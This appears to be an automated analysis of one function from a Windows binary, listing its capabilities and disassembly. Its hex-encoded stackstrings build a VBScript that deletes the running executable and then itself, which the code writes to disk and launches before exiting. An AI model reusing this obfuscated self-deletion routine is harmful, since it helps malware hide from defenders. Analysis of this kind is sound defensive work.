Function at 0x40b59a
Capabilities:
Contain obfuscated stackstrings
Terminate process
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4bc
push edi
mov byte [ebp - 0xb4], 0
mov ecx, 0x18
xor eax, eax
lea edi, [ebp - 0xb3]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov byte [ebp - 0x2cc], 0
mov ecx, 0x7c
xor eax, eax
lea edi, [ebp - 0x2cb]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov byte [ebp - 0x41c], 0
mov ecx, 0x3f
xor eax, eax
lea edi, [ebp - 0x41b]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov byte [ebp - 0x464], 0x64
mov byte [ebp - 0x463], 0x69
mov byte [ebp - 0x462], 0x6d
mov byte [ebp - 0x461], 0x20
mov byte [ebp - 0x460], 0x77
mov byte [ebp - 0x45f], 0x73
mov byte [ebp - 0x45e], 0x68
mov byte [ebp - 0x45d], 0
mov byte [ebp - 0x45c], 0x4f
mov byte [ebp - 0x45b], 0x6e
mov byte [ebp - 0x45a], 0x20
mov byte [ebp - 0x459], 0x45
mov byte [ebp - 0x458], 0x72
mov byte [ebp - 0x457], 0x72
mov byte [ebp - 0x456], 0x6f
mov byte [ebp - 0x455], 0x72
mov byte [ebp - 0x454], 0x20
mov byte [ebp - 0x453], 0x52
mov byte [ebp - 0x452], 0x65
mov byte [ebp - 0x451], 0x73
mov byte [ebp - 0x450], 0x75
mov byte [ebp - 0x44f], 0x6d
mov byte [ebp - 0x44e], 0x65
mov byte [ebp - 0x44d], 0x20
mov byte [ebp - 0x44c], 0x4e
mov byte [ebp - 0x44b], 0x65
mov byte [ebp - 0x44a], 0x78
mov byte [ebp - 0x449], 0x74
mov byte [ebp - 0x448], 0
mov byte [ebp - 0x444], 0x73
mov byte [ebp - 0x443], 0x65
mov byte [ebp - 0x442], 0x74
mov byte [ebp - 0x441], 0x20
mov byte [ebp - 0x440], 0x77
mov byte [ebp - 0x43f], 0x73
mov byte [ebp - 0x43e], 0x68
mov byte [ebp - 0x43d], 0x3d
mov byte [ebp - 0x43c], 0x63
mov byte [ebp - 0x43b], 0x72
mov byte [ebp - 0x43a], 0x65
mov byte [ebp - 0x439], 0x61
mov byte [ebp - 0x438], 0x74
mov byte [ebp - 0x437], 0x65
mov byte [ebp - 0x436], 0x4f
mov byte [ebp - 0x435], 0x62
mov byte [ebp - 0x434], 0x6a
mov byte [ebp - 0x433], 0x65
mov byte [ebp - 0x432], 0x63
mov byte [ebp - 0x431], 0x74
mov byte [ebp - 0x430], 0x28
mov byte [ebp - 0x42f], 0x22
mov byte [ebp - 0x42e], 0x57
mov byte [ebp - 0x42d], 0x53
mov byte [ebp - 0x42c], 0x63
mov byte [ebp - 0x42b], 0x72
mov byte [ebp - 0x42a], 0x69
mov byte [ebp - 0x429], 0x70
mov byte [ebp - 0x428], 0x74
mov byte [ebp - 0x427], 0x2e
mov byte [ebp - 0x426], 0x53
mov byte [ebp - 0x425], 0x68
mov byte [ebp - 0x424], 0x65
mov byte [ebp - 0x423], 0x6c
mov byte [ebp - 0x422], 0x6c
mov byte [ebp - 0x421], 0x22
mov byte [ebp - 0x420], 0x29
mov byte [ebp - 0x41f], 0
mov byte [ebp - 0x31c], 0x53
mov byte [ebp - 0x31b], 0x65
mov byte [ebp - 0x31a], 0x74
mov byte [ebp - 0x319], 0x20
mov byte [ebp - 0x318], 0x6f
mov byte [ebp - 0x317], 0x62
mov byte [ebp - 0x316], 0x6a
mov byte [ebp - 0x315], 0x46
mov byte [ebp - 0x314], 0x53
mov byte [ebp - 0x313], 0x4f
mov byte [ebp - 0x312], 0x20
mov byte [ebp - 0x311], 0x3d
mov byte [ebp - 0x310], 0x20
mov byte [ebp - 0x30f], 0x43
mov byte [ebp - 0x30e], 0x72
mov byte [ebp - 0x30d], 0x65
mov byte [ebp - 0x30c], 0x61
mov byte [ebp - 0x30b], 0x74
mov byte [ebp - 0x30a], 0x65
mov byte [ebp - 0x309], 0x4f
mov byte [ebp - 0x308], 0x62
mov byte [ebp - 0x307], 0x6a
mov byte [ebp - 0x306], 0x65
mov byte [ebp - 0x305], 0x63
mov byte [ebp - 0x304], 0x74
mov byte [ebp - 0x303], 0x28
mov byte [ebp - 0x302], 0x22
mov byte [ebp - 0x301], 0x53
mov byte [ebp - 0x300], 0x63
mov byte [ebp - 0x2ff], 0x72
mov byte [ebp - 0x2fe], 0x69
mov byte [ebp - 0x2fd], 0x70
mov byte [ebp - 0x2fc], 0x74
mov byte [ebp - 0x2fb], 0x69
mov byte [ebp - 0x2fa], 0x6e
mov byte [ebp - 0x2f9], 0x67
mov byte [ebp - 0x2f8], 0x2e
mov byte [ebp - 0x2f7], 0x46
mov byte [ebp - 0x2f6], 0x69
mov byte [ebp - 0x2f5], 0x6c
mov byte [ebp - 0x2f4], 0x65
mov byte [ebp - 0x2f3], 0x53
mov byte [ebp - 0x2f2], 0x79
mov byte [ebp - 0x2f1], 0x73
mov byte [ebp - 0x2f0], 0x74
mov byte [ebp - 0x2ef], 0x65
mov byte [ebp - 0x2ee], 0x6d
mov byte [ebp - 0x2ed], 0x4f
mov byte [ebp - 0x2ec], 0x62
mov byte [ebp - 0x2eb], 0x6a
mov byte [ebp - 0x2ea], 0x65
mov byte [ebp - 0x2e9], 0x63
mov byte [ebp - 0x2e8], 0x74
mov byte [ebp - 0x2e7], 0x22
mov byte [ebp - 0x2e6], 0x29
mov byte [ebp - 0x2e5], 0
mov byte [ebp - 0x2e0], 0x77
mov byte [ebp - 0x2df], 0x73
mov byte [ebp - 0x2de], 0x63
mov byte [ebp - 0x2dd], 0x72
mov byte [ebp - 0x2dc], 0x69
mov byte [ebp - 0x2db], 0x70
mov byte [ebp - 0x2da], 0x74
mov byte [ebp - 0x2d9], 0x2e
mov byte [ebp - 0x2d8], 0x73
mov byte [ebp - 0x2d7], 0x6c
mov byte [ebp - 0x2d6], 0x65
mov byte [ebp - 0x2d5], 0x65
mov byte [ebp - 0x2d4], 0x70
mov byte [ebp - 0x2d3], 0x20
mov byte [ebp - 0x2d2], 0x31
mov byte [ebp - 0x2d1], 0x30
mov byte [ebp - 0x2d0], 0x30
mov byte [ebp - 0x2cf], 0x30
mov byte [ebp - 0x2ce], 0
mov byte [ebp - 0xd8], 0x6f
mov byte [ebp - 0xd7], 0x62
mov byte [ebp - 0xd6], 0x6a
mov byte [ebp - 0xd5], 0x46
mov byte [ebp - 0xd4], 0x53
mov byte [ebp - 0xd3], 0x4f
mov byte [ebp - 0xd2], 0x2e
mov byte [ebp - 0xd1], 0x44
mov byte [ebp - 0xd0], 0x65
mov byte [ebp - 0xcf], 0x6c
mov byte [ebp - 0xce], 0x65
mov byte [ebp - 0xcd], 0x74
mov byte [ebp - 0xcc], 0x65
mov byte [ebp - 0xcb], 0x46
mov byte [ebp - 0xca], 0x69
mov byte [ebp - 0xc9], 0x6c
mov byte [ebp - 0xc8], 0x65
mov byte [ebp - 0xc7], 0x28
mov byte [ebp - 0xc6], 0x22
mov byte [ebp - 0xc5], 0
mov byte [ebp - 0xc4], 0x22
mov byte [ebp - 0xc3], 0x29
mov byte [ebp - 0xc2], 0x2c
mov byte [ebp - 0xc1], 0x20
mov byte [ebp - 0xc0], 0x54
mov byte [ebp - 0xbf], 0x72
mov byte [ebp - 0xbe], 0x75
mov byte [ebp - 0xbd], 0x65
mov byte [ebp - 0xbc], 0
mov byte [ebp - 0x50], 0x63
mov byte [ebp - 0x4f], 0x72
mov byte [ebp - 0x4e], 0x65
mov byte [ebp - 0x4d], 0x61
mov byte [ebp - 0x4c], 0x74
mov byte [ebp - 0x4b], 0x65
mov byte [ebp - 0x4a], 0x6f
mov byte [ebp - 0x49], 0x62
mov byte [ebp - 0x48], 0x6a
mov byte [ebp - 0x47], 0x65
mov byte [ebp - 0x46], 0x63
mov byte [ebp - 0x45], 0x74
mov byte [ebp - 0x44], 0x28
mov byte [ebp - 0x43], 0x22
mov byte [ebp - 0x42], 0x73
mov byte [ebp - 0x41], 0x63
mov byte [ebp - 0x40], 0x72
mov byte [ebp - 0x3f], 0x69
mov byte [ebp - 0x3e], 0x70
mov byte [ebp - 0x3d], 0x74
mov byte [ebp - 0x3c], 0x69
mov byte [ebp - 0x3b], 0x6e
mov byte [ebp - 0x3a], 0x67
mov byte [ebp - 0x39], 0x2e
mov byte [ebp - 0x38], 0x66
mov byte [ebp - 0x37], 0x69
mov byte [ebp - 0x36], 0x6c
mov byte [ebp - 0x35], 0x65
mov byte [ebp - 0x34], 0x73
mov byte [ebp - 0x33], 0x79
mov byte [ebp - 0x32], 0x73
mov byte [ebp - 0x31], 0x74
mov byte [ebp - 0x30], 0x65
mov byte [ebp - 0x2f], 0x6d
mov byte [ebp - 0x2e], 0x6f
mov byte [ebp - 0x2d], 0x62
mov byte [ebp - 0x2c], 0x6a
mov byte [ebp - 0x2b], 0x65
mov byte [ebp - 0x2a], 0x63
mov byte [ebp - 0x29], 0x74
mov byte [ebp - 0x28], 0x22
mov byte [ebp - 0x27], 0x29
mov byte [ebp - 0x26], 0x2e
mov byte [ebp - 0x25], 0x64
mov byte [ebp - 0x24], 0x65
mov byte [ebp - 0x23], 0x6c
mov byte [ebp - 0x22], 0x65
mov byte [ebp - 0x21], 0x74
mov byte [ebp - 0x20], 0x65
mov byte [ebp - 0x1f], 0x66
mov byte [ebp - 0x1e], 0x69
mov byte [ebp - 0x1d], 0x6c
mov byte [ebp - 0x1c], 0x65
mov byte [ebp - 0x1b], 0x20
mov byte [ebp - 0x1a], 0x77
mov byte [ebp - 0x19], 0x73
mov byte [ebp - 0x18], 0x63
mov byte [ebp - 0x17], 0x72
mov byte [ebp - 0x16], 0x69
mov byte [ebp - 0x15], 0x70
mov byte [ebp - 0x14], 0x74
mov byte [ebp - 0x13], 0x2e
mov byte [ebp - 0x12], 0x73
mov byte [ebp - 0x11], 0x63
mov byte [ebp - 0x10], 0x72
mov byte [ebp - 0xf], 0x69
mov byte [ebp - 0xe], 0x70
mov byte [ebp - 0xd], 0x74
mov byte [ebp - 0xc], 0x66
mov byte [ebp - 0xb], 0x75
mov byte [ebp - 0xa], 0x6c
mov byte [ebp - 9], 0x6c
mov byte [ebp - 8], 0x6e
mov byte [ebp - 7], 0x61
mov byte [ebp - 6], 0x6d
mov byte [ebp - 5], 0x65
mov byte [ebp - 4], 0
push 0x104
lea eax, [ebp - 0x41c]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov byte [ebp - 0x4a4], 0x25
mov byte [ebp - 0x4a3], 0x73
mov byte [ebp - 0x4a2], 0xa
mov byte [ebp - 0x4a1], 0xd
mov byte [ebp - 0x4a0], 0x25
mov byte [ebp - 0x49f], 0x73
mov byte [ebp - 0x49e], 0xa
mov byte [ebp - 0x49d], 0xd
mov byte [ebp - 0x49c], 0x25
mov byte [ebp - 0x49b], 0x73
mov byte [ebp - 0x49a], 0xa
mov byte [ebp - 0x499], 0xd
mov byte [ebp - 0x498], 0x25
mov byte [ebp - 0x497], 0x73
mov byte [ebp - 0x496], 0xa
mov byte [ebp - 0x495], 0xd
mov byte [ebp - 0x494], 0x25
mov byte [ebp - 0x493], 0x73
mov byte [ebp - 0x492], 0xa
mov byte [ebp - 0x491], 0xd
mov byte [ebp - 0x490], 0x25
mov byte [ebp - 0x48f], 0x73
mov byte [ebp - 0x48e], 0x25
mov byte [ebp - 0x48d], 0x73
mov byte [ebp - 0x48c], 0x25
mov byte [ebp - 0x48b], 0x73
mov byte [ebp - 0x48a], 0xa
mov byte [ebp - 0x489], 0xd
mov byte [ebp - 0x488], 0x25
mov byte [ebp - 0x487], 0x73
mov byte [ebp - 0x486], 0
lea ecx, [ebp - 0x50]
push ecx
lea edx, [ebp - 0xc4]
push edx
lea eax, [ebp - 0x41c]
push eax
lea ecx, [ebp - 0xd8]
push ecx
lea edx, [ebp - 0x2e0]
push edx
lea eax, [ebp - 0x31c]
push eax
lea ecx, [ebp - 0x444]
push ecx
lea edx, [ebp - 0x45c]
push edx
lea eax, [ebp - 0x464]
push eax
lea ecx, [ebp - 0x4a4]
push ecx
lea edx, [ebp - 0x2cc]
push edx
call dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 0x2c
push 0x2710
call fcn.0040b569
add esp, 4
mov dword [ebp - 0x2e4], eax
mov byte [ebp - 0x419], 0
mov byte [ebp - 0x47c], 0x25
mov byte [ebp - 0x47b], 0x73
mov byte [ebp - 0x47a], 0x25
mov byte [ebp - 0x479], 0x64
mov byte [ebp - 0x478], 0x2e
mov byte [ebp - 0x477], 0x76
mov byte [ebp - 0x476], 0x62
mov byte [ebp - 0x475], 0x73
mov byte [ebp - 0x474], 0
mov eax, dword [ebp - 0x2e4]
push eax
lea ecx, [ebp - 0x41c]
push ecx
lea edx, [ebp - 0x47c]
push edx
lea eax, [ebp - 0xb4]
push eax
call dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 0x10
push 0
push 0
push 2
push 0
push 0
push 0x40000000
lea ecx, [ebp - 0xb4]
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x484], eax
push 0
lea edx, [ebp - 0xb8]
push edx
push 0x1f4
lea eax, [ebp - 0x2cc]
push eax
mov ecx, dword [ebp - 0x484]
push ecx
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov edx, dword [ebp - 0x484]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov byte [ebp - 0x4bc], 0x6f
mov byte [ebp - 0x4bb], 0x70
mov byte [ebp - 0x4ba], 0x65
mov byte [ebp - 0x4b9], 0x6e
mov byte [ebp - 0x4b8], 0
mov byte [ebp - 0x470], 0x53
mov byte [ebp - 0x46f], 0x48
mov byte [ebp - 0x46e], 0x45
mov byte [ebp - 0x46d], 0x4c
mov byte [ebp - 0x46c], 0x4c
mov byte [ebp - 0x46b], 0x33
mov byte [ebp - 0x46a], 0x32
mov byte [ebp - 0x469], 0x2e
mov byte [ebp - 0x468], 0x64
mov byte [ebp - 0x467], 0x6c
mov byte [ebp - 0x466], 0x6c
mov byte [ebp - 0x465], 0
mov byte [ebp - 0x4b4], 0x53
mov byte [ebp - 0x4b3], 0x68
mov byte [ebp - 0x4b2], 0x65
mov byte [ebp - 0x4b1], 0x6c
mov byte [ebp - 0x4b0], 0x6c
mov byte [ebp - 0x4af], 0x45
mov byte [ebp - 0x4ae], 0x78
mov byte [ebp - 0x4ad], 0x65
mov byte [ebp - 0x4ac], 0x63
mov byte [ebp - 0x4ab], 0x75
mov byte [ebp - 0x4aa], 0x74
mov byte [ebp - 0x4a9], 0x65
mov byte [ebp - 0x4a8], 0x41
mov byte [ebp - 0x4a7], 0
lea eax, [ebp - 0x4b4]
push eax
lea ecx, [ebp - 0x470]
push ecx
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x480], eax
push 0
push 0
push 0
lea edx, [ebp - 0xb4]
push edx
lea eax, [ebp - 0x4bc]
push eax
push 0
call dword [ebp - 0x480]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]